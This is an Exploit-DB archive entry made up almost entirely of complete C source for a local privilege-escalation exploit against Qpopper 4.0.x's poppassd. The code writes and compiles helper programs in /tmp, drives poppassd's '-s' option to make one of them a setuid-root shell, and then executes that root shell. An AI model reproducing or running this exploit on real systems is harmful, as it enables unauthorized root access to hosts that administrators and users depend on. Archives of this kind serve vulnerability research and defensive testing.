Exploit-DB #21
Description: Qpopper 4.0.x - 'poppassd' Privilege Escalation
Type: local
Platform: linux
Date: 2003-04-29
Author: Xpl017Elz

Exploit:
/*
**
**  Title: Qpopper v4.0.x poppassd local root exploit.
**  Exploit code: 0x82-Local.Qp0ppa55d.c
**
** --
**  ./0x82-Local.Qp0ppa55d -u x82 -p mypasswd
**
**  Qpopper v4.0.x poppassd local root exploit.
**                          by Xpl017Elz
**
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>

#define BUF_SZ 0x82
#define D_POPPASS "/usr/local/bin/poppassd"
#define D_NAME "Happy-Exploit"
#define D_SHELL "/tmp/x82"
#define D_EXEC "/tmp/x0x"

int m_sh();
void banrl();
void usage(char *p_name);
struct stat ss;

void usage(char *p_name)
{
	fprintf(stdout," Usage: %s -option [argument]\n",p_name);
	fprintf(stdout,"\n\t-u - Qpopper username.\n");
	fprintf(stdout,"\t-p - Qpopper password.\n");
	fprintf(stdout,"\t-t - Qpopper poppassd path.\n");
	fprintf(stdout,"\t-h - Help information.\n\n");
	fprintf(stdout," Example> %s -u x82 -p %s\n\n",p_name,D_NAME);
	exit(-1);
}

int m_sh()
{
	char d_shell[BUF_SZ]=D_SHELL;
	char sh_drop[BUF_SZ];
	FILE *fp;
	
	memset((char *)sh_drop,0,sizeof(sh_drop));
	snprintf(sh_drop,sizeof(sh_drop)-1,"%s.c",d_shell);
	
	if((fp=fopen(sh_drop,"w"))==NULL)
	{
		perror(" [-] fopen() error");
		exit(-1);
	}
	
	fprintf(fp,"main() {\n");
	fprintf(fp,"setreuid(0,0);\nsetregid(0,0);\n");
	fprintf(fp,"setuid(0);\nsetgid(0);\n");
	fprintf(fp,"system(\"su -\");\n}\n");
	
	fclose(fp);

	memset((char *)sh_drop,0,sizeof(sh_drop));
	snprintf(sh_drop,sizeof(sh_drop)-1,
		"gcc -o %s %s.c >/dev/null 2>&1;"
		"rm -f %s.c >/dev/null 2>&1",
		d_shell,d_shell,d_shell);
	system(sh_drop);
	
	memset((char *)d_shell,0,sizeof(d_shell));
	strncpy(d_shell,D_EXEC,sizeof(d_shell)-1);
	
	memset((char *)sh_drop,0,sizeof(sh_drop));
	snprintf(sh_drop,sizeof(sh_drop)-1,"%s.c",d_shell);
	
	if((fp=fopen(sh_drop,"w"))==NULL)
	{
		perror(" [-] fopen() error");
		exit(-1);
	}
	
	fprintf(fp,"main() {\n");
	fprintf(fp,"setreuid(0,0);\nsetregid(0,0);\n");
	fprintf(fp,"setuid(0);\nsetgid(0);\n");
	fprintf(fp,"system(\"chown root: %s\");\n",D_SHELL);
	fprintf(fp,"system(\"chmod 6755 %s\");\n}\n",D_SHELL);
	
	fclose(fp);

	memset((char *)sh_drop,0,sizeof(sh_drop));
	snprintf(sh_drop,sizeof(sh_drop)-1,
		"gcc -o %s %s.c >/dev/null 2>&1;"
		"rm -f %s.c >/dev/null 2>&1",
		d_shell,d_shell,d_shell);
	system(sh_drop);

	if((stat(D_SHELL,&ss)==0)&&(stat(D_EXEC,&ss)==0))
	{
		fprintf(stdout," [+] make code.\n");
		return(0);
	}
	else
	{
		fprintf(stderr," [-] code not found.\n");
		return(-1);
	}
}

int main(int argc, char *argv[])
{
	int whtl;
	char user_id[BUF_SZ]=D_NAME;
	char passwd[BUF_SZ]=D_NAME;
	char tg_path[BUF_SZ]=D_POPPASS;
	char df_sh[BUF_SZ]=D_SHELL;

	(void)banrl();
	
	while((whtl=getopt(argc,argv,"U:u:P:p:T:t:Hh"))!=-1)
	{
		extern char *optarg;
		switch(whtl)
		{
			case 'U':
			case 'u':
				memset((char *)user_id,0,sizeof(user_id));
				strncpy(user_id,optarg,sizeof(user_id)-1);
				break;
				
			case 'P':
			case 'p':
				memset((char *)passwd,0,sizeof(passwd));
				strncpy(passwd,optarg,sizeof(passwd)-1);
				break;
				
			case 'T':
			case 't':
				memset((char *)tg_path,0,sizeof(tg_path));
				strncpy(tg_path,optarg,sizeof(tg_path)-1);
				break;
				
			case 'H':
			case 'h':
				(void)usage(argv[0]);
				break;
				
			case '?':
				fprintf(stderr," Try `%s -i' for more information.\n\n",argv[0]);
				exit(-1);
				break;
		}
	}
	
	if(!strcmp(user_id,D_NAME)||!strcmp(passwd,D_NAME))
	{
		(void)usage(argv[0]);
		exit(-1);
	}
	else
	{
		char comm[1024];
		int out[2],in[2];

		if(((int)m_sh())==-1)
		{
			fprintf(stdout," [-] exploit failed.\n\n");
			exit(-1);
		}

		if(pipe(out)==-1)
		{
			perror(" [-] pipe() error");
			exit(-1);
		}
		
		if(pipe(in)==-1)
		{
			perror(" [-] pipe() error");
			exit(-1);
		}
		
		switch(fork())
		{
			case -1:
				perror(" [-] fork() error");
				break;

			case 0:
				close(out[0]);
				close(in[1]);
				
				dup2(out[1],STDOUT_FILENO);
				dup2(in[0],STDIN_FILENO);
				
				execl(tg_path,tg_path,"-s",D_EXEC,0);
				break;

			default:
				close(out[1]);
				close(in[0]);

				fprintf(stdout," [+] execute poppassd.\n");
				memset((char *)comm,0,sizeof(comm));
				read(out[0],comm,sizeof(comm)-1);
				fprintf(stdout," %s",comm);

				memset((char *)comm,0,sizeof(comm));
				snprintf(comm,sizeof(comm)-1,"user %s\r\n",user_id);
				fprintf(stdout," [+] input username.\n");
				write(in[1],comm,strlen(comm));

				memset((char *)comm,0,sizeof(comm));
				read(out[0],comm,sizeof(comm)-1);
				fprintf(stdout," %s",comm);

				memset((char *)comm,0,sizeof(comm));
				snprintf(comm,sizeof(comm)-1,"pass %s\r\n",passwd);
				fprintf(stdout," [+] input password.\n");
				write(in[1],comm,strlen(comm));

				memset((char *)comm,0,sizeof(comm));
				read(out[0],comm,sizeof(comm)-1);
				fprintf(stdout," %s",comm);

				memset((char *)comm,0,sizeof(comm));
				snprintf(comm,sizeof(comm)-1,"newpass %s\r\n",passwd);
				fprintf(stdout," [+] input fake new password.\n");
				write(in[1],comm,strlen(comm));

				close(out[0]);
				close(in[1]);
				break;
		}

		fprintf(stdout," [+] wait, 2sec.\n");
		sleep(2);

		if((stat(D_SHELL,&ss)==0)&&(ss.st_mode&S_ISUID))
		{
			fprintf(stdout," [+] Ok, exploited successfully.\n");
			fprintf(stdout," [*] It's Rootshell !\n\n");
			unlink(D_EXEC);
			execl(D_SHELL,D_SHELL,0);
		}
		else
		{
			fprintf(stdout," [-] exploit failed.\n\n");
			exit(-1);
		}
	}
}

void banrl()
{
	fprintf(stdout,"\n Qpopper v4.0.x poppassd local root exploit.\n");
	fprintf(stdout,"                                by Xpl017Elz\n\n");
}



// milw0rm.com [2003-04-29]